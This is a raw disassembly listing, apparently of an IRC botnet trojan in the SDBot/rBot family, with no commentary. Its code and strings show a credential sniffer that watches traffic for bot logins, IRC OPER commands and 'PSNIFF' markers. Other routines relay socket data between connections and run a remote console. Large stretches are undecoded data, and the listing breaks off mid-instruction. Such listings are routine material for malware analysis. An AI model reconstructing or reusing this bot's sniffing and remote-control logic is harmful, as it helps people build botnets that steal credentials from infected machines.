-14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9EC test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; --------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx nop call near ptr 27A0DC2h jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2710000h test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; --------------------------------------------------------------------------- word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h dd 0E35FE890h, 4D8B0226h, 34C969C8h, 3B000002h, 248189C6h dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 26E2B3E8h dd 0EDEB9002h, 0EB2AE890h, 8D500226h, 0FFFD2C85h, 56F468FFh dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h dd 59FFFF99h, 31E85659h, 90022CE2h, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh dd 0FFFF988Ah, 0E8905359h, 22CE1ACh, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 905359FFh, 2CE17BE8h dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h dd 59FFFF97h, 0E0E6E853h, 6A90022Ch, 0E8458D10h, 49E85053h dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h, 8D022CE0h dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h dd 5359FFFFh, 0DFDEE890h, 68022Ch, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 81E89053h dd 0FF022CDFh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h dd 69E89053h ; --------------------------------------------------------------------------- fild qword ptr [edx+eax] push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: ___:0041215Cj ; ___:0041218Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4120C5: ; CODE XREF: ___:004120D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: ___:004120CAj cmp ecx, 1 jnz short loc_4120EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120EA: ; CODE XREF: ___:004120D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB9BC lea eax, [ebp-104h] push eax push ebx call dword_4CB8C0 test eax, eax jz short loc_41214A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: ___:0041211Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB8C0 test eax, eax jz loc_4120AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: ___:00412131j ; ___:00412148j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o ; sub_40BD91+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 226DE14h dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h dd 94A8E8FFh, 5959FFFFh, 0DDCAE853h, 8D90022Ch, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h dd 83004CBAh, 1975FFF8h, 138868h, 4DE89000h, 0FF0226DDh dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 26DD1BE8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h dd 1CC483FFh, 0D9E89053h, 8B022CDCh, 9F39087Dh, 2A0h, 27D840Fh dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh, 5E445C7h dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h dd 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h, 0FFF78485h dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh, 88A00000h dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh dd 10F445h, 0ABF30000h, 8DAAAB66h, 8D50F445h, 5350C445h dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h, 0FFFF31BDh dd 850F01FFh, 0A3h, 0FD94858Dh, 0E850FFFFh, 95C0h, 75FF5353h dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh, 0FFFA889Dh dd 8985C6FFh, 3FFFFFAh, 20068h, 50016A00h, 0FA8A9D88h dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh, 5650FFFFh dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h, 38A7E8h dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h dd 0E8FFFFFEh, 0FFFF90FAh, 1DE85359h, 90022CDAh, 3E868h dd 11E89000h, 570226DAh, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41266C push esi mov esi, offset dword_435848 loc_412614: ; CODE XREF: ___:00412667j push esi push dword ptr [ebp+0Ch] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_436BB4 push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: ___:00412621j add esi, 80h cmp esi, offset dword_436448 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: ___:0041260Cj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: ___:0041266Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h dd 86A0000h, 0D8F6E890h, 15FF0226h, 4CB958h, 0FF8453Bh dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh dd 90006A59h, 2CD49FE8h db 2 byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h dd 565959FFh, 0D3CAE890h, 458B022Ch, 69106AD0h, 234C0h dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0D346E856h dd 5690022Ch, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h dd 5659FFFFh, 0D2C2E890h, 0BB53022Ch, 436C58h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2CD123E8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE734, eax mov eax, offset dword_4CE734 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: ___:off_43ACE0o push offset a302_0 ; "302 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_1 ; ":!login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login ; ":.Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41301D loc_413019: ; CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper_0 ; "OPER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: ; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; 